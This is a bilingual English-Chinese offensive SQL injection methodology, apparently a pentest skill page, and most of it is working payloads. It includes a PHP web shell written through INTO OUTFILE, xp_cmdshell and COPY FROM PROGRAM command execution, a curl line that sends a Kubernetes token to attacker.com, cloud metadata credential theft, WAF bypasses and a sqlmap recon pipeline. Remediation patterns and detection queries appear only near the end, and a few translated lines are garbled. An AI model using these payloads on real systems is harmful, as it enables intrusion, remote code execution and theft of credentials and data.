offensive-sqli

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SQL Injection — Offensive Testing Methodology

SQL 注入——攻击性测试方法

Quick Workflow

快速工作流

  1. Map all input vectors that reach the database (URL params, POST body, cookies, headers, API filters, WebSocket messages)
  2. Insert probe payloads to detect classic SQLi; fall back to inferential (boolean/time-based) if no visible error
  3. Identify database type and enumerate schema
  4. Exploit to extract data, escalate privileges, or achieve RCE where in scope
  5. Document findings and suggest remediation

  1. 映射所有传入数据库的输入向量(URL 参数、POST 请求体、Cookie、请求头、API 过滤器、WebSocket 消息)
  2. 插入探测载荷以检测经典 SQLi;如果没有可见错误,则回退到推断技术(布尔/时间盲注)
  3. 确定数据库类型并枚举数据库模式
  4. 在授权范围内利用漏洞以提取数据、提升权限或实现 RCE
  5. 记录测试结果并提出修复建议

Detection

检测

Basic Probes — All Input Vectors

基础探测——所有输入向量

' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
' " ; -- /* */ # ) ( + , \  %
' OR '1'='1
" OR "1"="1
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Error-Based Detection

基于错误的检测

Trigger syntax errors to reveal database type and query structure:
'  ''  `  "  ""  ,  %  \
Look for: SQL syntax errors, DB version strings, table/column names leaked in responses.
触发语法错误,以揭示数据库类型和查询结构:
'  ''  `  "  ""  ,  %  \
留意:SQL 语法错误、数据库版本字符串,以及响应中泄露的表名/列名。

Boolean-Based Blind

布尔盲注

sql
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --
Observe response size/content differences between true and false conditions.
sql
' OR 1=1 --
' OR 1=2 --
' AND 1=1 --
' AND 1=2 --
观察真条件与假条件下响应大小/内容的差异。

Time-Based Blind

时间盲注

sql
-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --
sql
-- MySQL
' OR SLEEP(5) --
-- PostgreSQL
' OR pg_sleep(5) --
-- MSSQL
' WAITFOR DELAY '0:0:5' --
-- Oracle
'; BEGIN DBMS_LOCK.SLEEP(5); END; --

JSON Operator Probes

JSON 操作符探测

sql
-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'
sql
-- MySQL
id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1
-- PostgreSQL
id=1 AND '{"a":1}'::jsonb ? 'a'

GraphQL → SQLi Pivot

GraphQL → SQLi 攻击转向

{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}
{"query":"query{ users(filter: \"' OR 1=1 --\"){ id email }}"}

WebSocket SQLi

WebSocket SQLi

javascript
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');
javascript
const ws = new WebSocket("wss://target.com/api/search");
ws.send('{"action":"search","query":"test\\\' OR 1=1--"}');

REST API Filter Injection

REST API 过滤器注入

json
POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

json
POST /api/users/search
{
  "filter": { "name": {"$regex": "admin' OR 1=1--"} },
  "sort": "name'; DROP TABLE users--"
}

Automation Workflow

自动化工作流

bash
undefined
bash
undefined

Full pipeline

Full pipeline

sublist3r -d target | tee domains cat domains | httpx | tee alive cat alive | waybackurls | tee urls gf sqli urls >> sqli sqlmap -m sqli --dbs --batch
sublist3r -d target | tee domains cat domains | httpx | tee alive cat alive | waybackurls | tee urls gf sqli urls >> sqli sqlmap -m sqli --dbs --batch

Targeted with Burp capture

Targeted with Burp capture

1. Capture request → Send to Active Scanner

1. Capture request → Send to Active Scanner

2. Review SQL findings → manually verify

2. Review SQL findings → manually verify

3. Export request file → sqlmap -r req.txt --dbs

3. Export request file → sqlmap -r req.txt --dbs

Blind SQLi (Ghauri — faster for time-based)

Blind SQLi (Ghauri — faster for time-based)

Hidden parameter discovery

Hidden parameter discovery

hakrawler -url https://target.com | tee crawl arjun -i crawl -oJ params.json

---
hakrawler -url https://target.com | tee crawl arjun -i crawl -oJ params.json

---

Exploitation

利用

Determine Column Count (UNION)

确定列数(UNION)

sql
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
sql
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -

Identify String Columns

识别字符串列

sql
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -
sql
' UNION SELECT 'a',NULL,NULL-- -
' UNION SELECT NULL,'a',NULL-- -

Enumerate Schema

枚举数据库模式

sql
-- DB version
' UNION SELECT @@version --          -- MySQL/MSSQL
' UNION SELECT version() --          -- PostgreSQL
' UNION SELECT banner FROM v$version -- -- Oracle

-- Tables
' UNION SELECT table_name,1 FROM information_schema.tables --    -- MySQL/MSSQL/PG
' UNION SELECT table_name,1 FROM all_tables --                   -- Oracle

-- Columns
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --
sql
-- DB version
' UNION SELECT @@version --          -- MySQL/MSSQL
' UNION SELECT version() --          -- PostgreSQL
' UNION SELECT banner FROM v$version -- -- Oracle

-- Tables
' UNION SELECT table_name,1 FROM information_schema.tables --    -- MySQL/MSSQL/PG
' UNION SELECT table_name,1 FROM all_tables --                   -- Oracle

-- Columns
' UNION SELECT column_name,1 FROM information_schema.columns WHERE table_name='users' --

Blind Data Extraction

盲注数据提取

sql
-- Boolean character-by-character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -

-- Time-based conditional
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -

sql
-- Boolean character-by-character
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a'-- -

-- Time-based conditional
' AND (SELECT CASE WHEN (username='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END FROM users)-- -

Database-Specific Exploitation

特定数据库利用

MySQL / MariaDB

MySQL / MariaDB

sql
-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --

-- Write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --

-- Schema leak
' UNION SELECT table_schema,table_name FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema') --
sql
-- File read
' UNION SELECT LOAD_FILE('/etc/passwd') --

-- Write web shell
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --

-- Schema leak
' UNION SELECT table_schema,table_name FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema') --

MSSQL

MSSQL

sql
-- OS command execution
'; EXEC xp_cmdshell 'net user' --

-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --

-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --
sql
-- OS command execution
'; EXEC xp_cmdshell 'net user' --

-- Registry read
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion','ProductName' --

-- Linked server pivot
'; EXEC ('SELECT * FROM OPENROWSET(''SQLOLEDB'',''Server=linked_server;Trusted_Connection=yes'',''SELECT 1'')') --

PostgreSQL

PostgreSQL

sql
-- File read
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --

-- OS command execution
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'id';
  SELECT * FROM cmd_exec; --

-- K8s service account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --
sql
-- File read
' UNION SELECT pg_read_file('/etc/passwd',0,1000) --

-- OS command execution
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'id';
  SELECT * FROM cmd_exec; --

-- K8s service account token exfil
'; COPY (SELECT '') TO PROGRAM 'curl http://attacker.com/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)'; --

Oracle

Oracle

sql
-- Privilege enumeration
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --

-- PL/SQL execution
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --

sql
-- Privilege enumeration
' UNION SELECT * FROM SYS.USER_ROLE_PRIVS --

-- PL/SQL execution
' BEGIN DBMS_JAVA.RUNJAVA('java.lang.Runtime.getRuntime().exec(''cmd.exe /c dir'')'); END; --

NoSQL & Graph Injection

NoSQL 与图注入

MongoDB

MongoDB

username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}
username[$ne]=admin&password[$ne]=
username[$regex]=^adm&password[$regex]=^pass
{"$where": "sleep(5000)"}
{"username": {"$in": ["admin"]}}

Neo4j / Cypher (CVE-2024-34517)

Neo4j / Cypher(CVE-2024-34517)

cypher
-- Normal
MATCH (u:User) WHERE u.name = 'admin' RETURN u
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u
Older Neo4j 5.x (<5.18 / <4.4.26) allowed privilege escalation via IMMUTABLE procedures.

cypher
-- Normal
MATCH (u:User) WHERE u.name = 'admin' RETURN u
-- Bypass
MATCH (u:User) WHERE u.name = 'admin' OR 1=1 //--' RETURN u
较旧的 Neo4j 5.x(<5.18 / <4.4.26)允许通过 IMMUTABLE 例程提升权限。

WAF Bypass Techniques

WAF 绕过技术

TechniqueExample
Case variation
SeLeCt
,
UnIoN
Comment injection
UN/**/ION SE/**/LECT
URL encoding
UNION
→
%55%4E%49%4F%4E
Hex encoding
SELECT
→
0x53454C454354
Whitespace
UNION/**/SELECT
Null byte
%00' UNION SELECT password FROM users--
Double encoding
%2f
→
%252f
String concatMySQL:
CONCAT('a','b')
, Oracle:
'a'||'b'
, MSSQL:
'a'+'b'
JSON wrapperPrefix with dummy JSON
/**/{"a":1}
to confuse WAF parsers
SQLmap tamper scripts: Use the Atlas tool to suggest tampers; combine multiple (
--tamper=space2comment,charencode
) for layered WAFs.
HTTP/2 smuggling: Replay payloads over h2/h2c; HPACK compression can obscure payloads from perimeter WAFs.

技术示例
大小写变换
SeLeCt
、
UnIoN
注释注入
UN/**/ION SE/**/LECT
URL 编码
UNION
→
%55%4E%49%4F%4E
十六进制编码
SELECT
→
0x53454C454354
空白字符
UNION/**/SELECT
空字节
%00' UNION SELECT password FROM users--
双重编码
%2f
→
%252f
字符串拼接MySQL:
CONCAT('a','b')
, Oracle:
'a'|'b'
, MSSQL:
'a'+'b'
JSON 包装以虚拟 JSON
/**/{"a":1}
作为前缀,以干扰 WAF 解析器
SQLmap 篡改脚本: 使用 Atlas 工具推荐篡改脚本;对于分层 WAF,可组合多个脚本(
--tamper=space2comment,charencode
)。
HTTP/2 走私: 通过 h2/h2c 重放载荷;HPACK 压缩可能使外层 WAF 无法识别载荷。

Cloud-Specific Attack Paths

云环境专项攻击路径

AWS

AWS

sql
-- IMDSv1 credential theft (legacy environments)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --

-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --
sql
-- IMDSv1 credential theft (legacy environments)
' UNION SELECT LOAD_FILE('http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name') --

-- RDS Proxy disruption
'; CALL mysql.rds_kill(CONNECTION_ID()); --

Azure

Azure

sql
-- Azure SQL Managed Instance RCE
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --

-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --
sql
-- Azure SQL Managed Instance RCE
'; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
'; EXEC xp_cmdshell 'az vm list'; --

-- Instance metadata
' UNION SELECT LOAD_FILE('http://169.254.169.254/metadata/instance?api-version=2021-02-01') --

GCP Cloud SQL

GCP Cloud SQL

sql
' UNION SELECT @@global.version_comment, @@hostname --
sql
' UNION SELECT @@global.version_comment, @@hostname --

Lambda / Serverless Connection Pool Poisoning

Lambda / Serverless 连接池投毒

javascript
// SET ROLE persists across Lambda invocations when DB connections are reused
exports.handler = async (event) => {
  await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
  return await db.query("SELECT * FROM sensitive_data");
};

javascript
// SET ROLE persists across Lambda invocations when DB connections are reused
exports.handler = async (event) => {
  await db.query(`SET ROLE '${event.role}'`); // injectable — poisons pool
  return await db.query("SELECT * FROM sensitive_data")
};

ORM CVE Tracking (2023–2025)

ORM CVE 跟踪(2023–2025)

ORMCVE / IssueVulnerable Pattern
SequelizeCVE-2023-22578
sequelize.literal(\
name = '${userInput}'`)`
TypeORM <0.3.12findOne injection
repository.findOne({ where: \
id = ${id}` })`
Hibernate 6.xQuery cache poisoning
session.createQuery("FROM User WHERE name = '" + input + "'")
Prisma <4.11Raw query
prisma.$executeRawUnsafe(\
SELECT * FROM users WHERE id = ${id}`)`
Safe ORM patterns:
javascript
// Sequelize — use replacements
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template literal
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])

ORMCVE / 问题易受攻击模式
SequelizeCVE-2023-22578
sequelize.literal(\
name = '${userInput}'`)`
TypeORM <0.3.12
findOne
注入
repository.findOne({ where: \
id = ${id}` })`
Hibernate 6.x查询缓存投毒
session.createQuery("FROM User WHERE name = '" + input + "'")
Prisma <4.11原始查询
prisma.$executeRawUnsafe(\
SELECT * FROM users WHERE id = ${id}`)`
安全的 ORM 模式:
javascript
// Sequelize — use replacements
sequelize.query('SELECT * FROM users WHERE name = :name', { replacements: { name: user } })
// Prisma — tagged template literal
await prisma.$queryRaw`SELECT * FROM users WHERE name = ${user}`
// Knex
knex('users').whereRaw('name = ?', [user])

Quick-Reference Cheatsheet

快速参考速查表

DBVersionTime DelayString ConcatSchema Source
MySQL
@@version
SLEEP(5)
CONCAT('a','b')
information_schema.tables
MSSQL
@@version
WAITFOR DELAY '0:0:5'
'a'+'b'
information_schema.tables
,
sys.tables
PostgreSQL
version()
pg_sleep(5)
'a'||'b'
information_schema.tables
Oracle
banner FROM v$version
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)
'a'||'b'
all_tables
,
all_tab_columns

数据库版本时间延迟字符串拼接模式来源
MySQL
@@version
SLEEP(5)
CONCAT('a','b')
information_schema.tables
MSSQL
@@version
WAITFOR DELAY '0:0:5'
'a'+'b'
information_schema.tables
,
sys.tables
PostgreSQL
version()
pg_sleep(5)
'a'|'b'
information_schema.tables
Oracle
banner FROM v$version
DBMS_PIPE.RECEIVE_MESSAGE('RDS',5)
'a'|'b'
all_tables
,
all_tab_columns

Detection & Monitoring Queries

检测与监控查询

Splunk:
spl
index=web sourcetype=access_combined
| regex _raw="(%27)|(\\')|(\\-\\-)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\-)|(\\%3D))"
| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status
AWS CloudWatch Insights (RDS):
fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/\\*)/
| stats count() by bin(5m)

Splunk:
spl
index=web sourcetype=access_combined
| regex _raw="(%27)|(\\')|(\\-\\)|((%3D)|(=))[^\\n]*((%27)|(\\')|(\\-\\)|(\\%3D))"
| eval suspected_sqli=if(match(_raw,"(?i)(union|select|insert|update|delete|drop|create|alter|exec)"),"high","low")
| where suspected_sqli="high"
| table _time, src_ip, uri, user_agent, status
AWS CloudWatch Insights(RDS):
fields @timestamp, @message
| filter @message like /(?i)(UNION|SELECT.*FROM|INSERT INTO|UPDATE.*SET|DELETE FROM)/
| filter @message like /(%27|'|--|\\/*)/
| stats count() by bin(5m)

Key References

主要参考资料